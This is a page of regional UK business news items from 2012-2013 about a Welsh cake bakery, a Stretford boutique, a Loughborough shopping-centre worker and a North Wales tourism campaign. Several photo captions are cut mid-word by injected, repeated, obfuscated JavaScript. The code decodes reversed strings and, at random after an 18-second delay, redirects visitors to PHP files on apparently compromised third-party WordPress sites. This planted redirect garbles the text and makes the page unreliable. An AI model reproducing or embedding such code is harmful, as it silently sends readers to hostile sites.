Category: News

Welsh Cakes from Conwy – a hit with pop stars Olly Murs and Pixie Lott

Jennie Barrie and Jo Wordsworth, proprie$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tors at Cwmni Cacen Gri in Betwys y Coed

A company that’s revolutionised the traditional Welsh Cake is attracting a host of celebrity fans.

Aficionados of the griddled cakes made by Cwmni Cacen Gri (The Welsh Cake Company) in Betws y Coed now include pop stars Olly Murs and Pixie Lott – not to mention Wales’s favourite weatherman, Derek Brockway.

The art of Welsh Cake making was also given a boost earlier this year when Ann Romney, wife of the Republican Presidential candidate, Mitt Romney, harked back to her Welsh roots and extolled their virtues to anyone who would listen on the campaign trail.

As well as the conventional tea time treats, the Cwmni Cacen Gri varieties include some exotic flavours never imagined by Mrs Romney or her Welsh grandmother.

Among them are raspberry and white chocolate, triple chocolate, chocolate and orange, chocolate and mint, cinnamon, orange and lemon, lime and coconut and Penderyn Welsh whisky and sultana.

The company was established by life-long friends Jennie Barrie and Jo Wordsworth who are  finding they can have their cake – and everyone wants to eat it.

The Welsh cakes are made with locally sourced ingredients such as Welsh butter and Welsh organic eggs.

The joys of their cacen gri were discovered by Olly Murs and Pixie Lott when they performed at the Access all Eirias pop concert in Old Colwyn this summer.

Their own original recipe even brightens up the day of BBC weatherman Derek Brockway, a fan of their Welsh cakes ever since he dropped into the shop one day and who keeps in touch through Twitter.

And Cwmni Cacen Gri were one of 35 regional finalists out of the 1,000 UK bakeries which tried to get a place on ITV’s popular daytime TV competition, Britain’s Best Bakery.

Both Jennie and Jo had grandparents and parents who were in business in Betws y Coed and knew each other as pupils in Ysgol Dyffryn Conwy at Llanrwst.

“We’ve been best friends for ever, and had a desire to set up a business together,” said Jo.

Jo, however, trained as a nurse at Ysbyty Glan Clwyd and for 13 years was practice nurse at Betws y Coed surgery, while Jennie went off to work in the Middle East for five years as a PA in a drilling company. She returned and worked for Citizens Advice Bureau.

Both have a son and daughter – who naturally are best mates. “The kids are as close as Jo and I,” said Jennie, 44.

Both Jennie and Jo love horse riding, although have little time for it now the business is so successful, but it’s a passion shared by their daughters Kate, 14, and Isabelle, 13. Sons Charlie, 14, and Matthew, 12, are rugby fanatics and play for local teams.

Their friendship helped enormously when Jennie was diagnosed with breast cancer just as they were building the new bakery and café on land at Station Approach. “I found out just as we were building the shop,” said Jennie.

“I just focused on the job in hand and got on with it. I’m still having treatment, It’s just a part of my life and Jo has helped me through it.”

Jo added: “It was not easy but we never gave up on our idea.

“After we opened we got some useful advice from Conwy Council’s  Business and Enterprise department about social media and websites.”

“We were quite passionate about our idea; we knew that no one was making Welsh cakes and griddling them fresh every day with new and exciting flavours, all home-made.

“Wales is the home of the Welsh cake but we realised that most Welsh cakes are packaged and there was an opening for someone making them fresh every day.”

Building within the National Park area is not easy but Jo says the National Park authorities were very supportive of their idea for the new bakery and café and worked closely with them.

“We try to improve what we do and not stand still,” said Jo, who says they have recruited five part-time staff.

“You have to give your own business 100% and we are lucky in having fantastic staff who are loyal and trustworthy. Running the business and finding time for the kids’ activities can be difficult but we both have wonderful support from our families,” said Jennie.

Anna Openshaw, the Project Officer for Conwy Rural Business Support, is delighted by the success of Cwmni Cacen Gri.

She said: “We are very proud of the part we are playing in helping the company to flourish, by revolutionising this traditional Welsh treat with a tasty twist.

“It’s really satisfying to see Jenni and Jo developing their business and the fact that their wonderful Welsh Cakes are such a hit with the likes of Olly Murs, Pixie Lott and Derek Brockway.

“Mind you, having tasted them myself I’m not at all surprised they’re so popular – they are scrumptious.”

For more information about the free support and advice that’s available to small businesses in rural Conwy contact Anna Openshaw by emailing to:conwyruralpartnership@conwy.gov.uk" target="_blank">conwyruralpartnership@conwy.gov.uk or ringing 01492 577834/5. If you want more information about Cwmni Cacen Gri visit their website on www.cwmnicacengri.co.uk

Monday January 7th, 2013

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Shanel’s passion for fashion sparks a new start with Stretford boutique

Shanel Williams, proprei$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of new boutique in Stretford Shopping Mall with one of her local designers Carloid Haugh$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton in the Boutique

A young entrepreneur who gave up a promising career to care for her younger sister after their mother died has set up a new business showcasing the talents of local fashion designers.

Shanel Williams left her career as a manager of Kurt Geiger in Ireland after losing her mum, Morine Reid, to cancer.

Upon returning home to Manchester, she struggled to find work of a similar level while caring for her ten-year-old sibling, Teigan.

It was then that she decided to open her own store and the idea for her new fashion boutique in Stretford Mall, Wardrobe Wilderness, was born.

Her new business displays the work of three local designers, as well as a label customised and created by Shanel herself.

The 31-year-old from Moss Side said: “I studied international fashion marketing at university and spent 13 years in retail, working my way up through the ranks to become store manager of Kurt Geiger in Ireland.

“Sadly I lost my mum and had to return home to Manchester to be legal guardian for my sister.

“I found it extremely difficult to get a job at a managerial level alongside my personal commitments, and so I just decided I’d set up my own business.”

Colin McCrory, Stretford Mall Manager, said Shanel’s story was inspirational and her new boutique had brought something very special to Stretford Mall.

He said: “I believe Shanel has brought a very unique business to Stretford Mall and I don’t think you will find another Wardrobe Wilderness anywhere.

“I know there has been some terrific feedback from customers because her clothing is very different and business has been very brisk so far.

“We are very pleased to welcome Wardrobe Wilderness to the Stretford Mall and I have a feeling it will be one of those stores which establishes a keen following very quickly.

“I wish her every success with this exciting new business venture.”

After its grand opening earlier this month, Shanel hopes Wardrobe Wilderness will provide a platform for local designers trying to break into the fashion industry.

“I really want to get students and graduates on board to give them a chance to get their work off the ground,” she said.

“They don’t have to have a whole clothing range, just a few pieces would be great.

“I think it’s important to support local designers, especially in the current climate.”

One designer working with Shanel is Carloid Haughton, also from Moss Side, who currently has 20 of his pieces of menswear on the rails.

The 48-year-old’s passion for fashion started out as a hobby 20 years ago and was developed alongside his night job as a cruise ship comedian.

The father-of-one explained: “I started making clothes for myself while working on a cruise ship where I began as a bingo caller and ended up as a comedian doing evening shows.

“As I was free during the day, I would get off the ship wherever it stopped and buy materials to make myself some clothes.

“The first thing I bought was some leather and I painstakingly started to hand sew myself a coat – it took me four weeks and my fingers were red raw.

“Even though I never studied fashion at university or college, I actually trained as a professional dancer, I went on to open a boutique in Italy as I found I had a real passion for it.

Carloid’s chance meeting with Shanel at a boutique – which was holding a MacMillan Cancer coffee morning – led the pair to discover they had more than just a love for clothes in common.

“I realised I’d been at school with Shanel’s mum – Shanel was a little girl the last time I saw her,” Carloid said.

“We got talking and our collaboration all started from there.

“Now Wardrobe Wilderness is helping me to launch myself as I go and already, I’ve had some great feedback.

“Because of this opportunity I’m thinking about extending my range by designing a line of clothes for women.”

In the few weeks that Wardrobe Wilderness has been open, Shanel has welcomed more than 1,500 people through the door thanks to the unique range of clothing styles and sizes on offer.

An official launch of the store took place on November 30 when models hit the catwalk for a fashion show.

The event was filmed and posted on wardrobewilderness.com which went live on the same day and features more information about Shanel, as well as the designers and their work.

Wednesday January 2nd, 2013

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20 years at Carillon Court is a family affair for Loughborough’s Lorraine

Lorraine Green 1 web 1

Working at Carillon Court in Loughborough is definitely a family affair for Lorraine Green who has just notched up 20 happy years at the shopping centre.

Lorraine, 51, began there in 1992 as secretary to its first manager, Derrick Green, who just happened to be her father-in-law.

And the family tradition continues as strongly as ever because Lorraine’s 21-year-old daughter Laura is a sales assistant in the shoe department of the New Look store in Carillon Court.

Lorraine, who has lived in  since she was six-months-old, recalled that her own association with the busy centre goes back even further than two decades – in fact, all the way to the time when she worked as a part-time Saturday assistant for Long Bros greengrocers.

She said: “I worked there on Saturdays for a couple of years and that was at the time Carillon Court was known as the Charnwood Centre.

“Sometime later, its name was changed to what it is now, after it underwent a major refurbishment, and soon afterwards I started work there part-time as secretary to Derrick Green, who is the father of my husband Vincent.

“In 2007 I was appointed deputy manager and now help to run the centre with the current manager, Baljit Kooner.

“There are just the two of us in the office so we have quite a busy time but I absolutely love the job – I must do really because I wouldn’t have been here so long otherwise!

“We’re still keeping it in the family because Laura has been with New Look now for a couple of years and she loves it here, too.”

Lorraine added: “Apart from the great team I work with, one of the main reasons I enjoy the job so much is that there’s always something happening, and it’s different every day.

“The recent flooding in other parts of the country reminds me of when there was a flood alert here at Carillon Court earlier this year.

“I remember it vividly. It was June 28 and the rainwater was coming up into the centre from the manholes.

“It was like a river and we had to put the sandbags out, although they didn’t do much good as the water just went over them.

“Eventually, the water started to subside which we were all very thankful for.

“Luckily, it didn’t do too much damage and only slightly affected a couple of the shops. But in all that our first concern, as always, was for the safety of the public.”

Lorraine went on: “That was probably one of the worst times here but there are many good times, such as the one coming up just before Christmas.

“That’s when we really have a great time here at the centre with all the children’s choirs coming in and Santa’s grotto being set up.

“Hearing the children sing their carols usually brings a tear to my eye – it’s such a rewarding time.

“I’ve had a very interesting job at Carillon Court over the past 20 years and I am looking forward to staying here for many more years yet.”

Wednesday January 2nd, 2013

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New £250k tourism campaign to make North Wales “world class”

Dewi Davies, Regional Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Tourism Partnership North Wales with Destination North Wales website.

A new drive  has been launched to turn North Wales into a “world class” destination for visitors.

The Destination Management campaign is a “key building block” of a strategy to increase the value of the £2 billion a year industry which employs 40,000 people in North Wales.

It is being masterminded by Tourism Partnership North Wales, the organisation responsible for the strategic development of the area’s visitor economy, who are investing a total of £250,000 in the initiative.

The aim is to create an Excellent Visitor Experience so that people want to return again and again – and tell their friends and family to come here too.

Working with the six local authorities in North Wales, the ultimate goal is to make the region a top five UK destination for visitors.

As well as sprucing up our towns and villages, the campaign will include marketing, research, developing social media, learning journeys and profile-raising PR.

Dewi Davies, the Regional Strategy Director of Tourism Partnership North Wales, said: “It is a vital step for North Wales to improve the quality of the visitor experience,  across the whole of the region and in every local authority area.

“The counties of Conwy, Anglesey and Wrexham have already published their Destination Management plans and work is at an advanced stage in Gwynedd, Denbighshire and Flintshire.

“The idea behind Destination Management is to look at the kind of experience a customer gets currently and researches into how that can be made into a very memorable experience.

“Our aim is to make sure the customer will come back and also that that visitor will tell great stories to their friends and people online.

“First of all it is important to establish what brings people here in the first place, whether it is our mountains, coastline and heritage.

“We have some really world class assets in the form of Snowdonia National Park Authority or the three  Areas Outstanding Natural Beauty.

“Equally, we’ve got world class heritage site with the Pontcysyllte Aqueduct and the castles at Beaumaris, Caernarfon and Conwy.

“Whether the customer comes here to enjoy an outdoor experience or a heritage experience,  we must fulfil and exceed their expectations.

“First impressions are important so it is vital that the signage is right and there is a sense of place when people arrive.

“We need to make sure the quality of information good,  the environment is tip-top and that the accommodation, the attractions and the activity experiences are up to scratch.

“In each area, we have a partnership of representatives from the public and private sectors who meet four times a year to make sure the Destination Management programme is on track.

“It is a huge challenge because we are in an extremely competitive market place.

“Communities such as Belfast and Northern Ireland are investing hugely in their tourism offer and we see new communities which might be only a two-hour flight away from Liverpool, Manchester or Birmingham, all competing for our customers from those large cities.

“What we have to do is ensure we have a high quality product and provide a brilliant visitor experience.

“We have a strong belief that our Destination Management plans, where we can identify the things that we can do better to improve experience, can provide the uplift to make North Wales a far more competitive place and fight for our market share within a very, very busy and crowded market place.

“Our aim is to be one of the top five destinations in the UK – it’s about people coming here and getting a good experience first time around so that when they go home they spread the word.

“The idea is that they keep coming back and that they persuade others to come here as well.

“The visitor economy is the life blood of the regional economy and the importance of the destination management project should be viewed in that context.

“We need to be world class – the potential rewards are massive.”

Thursday December 20th, 2012

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News

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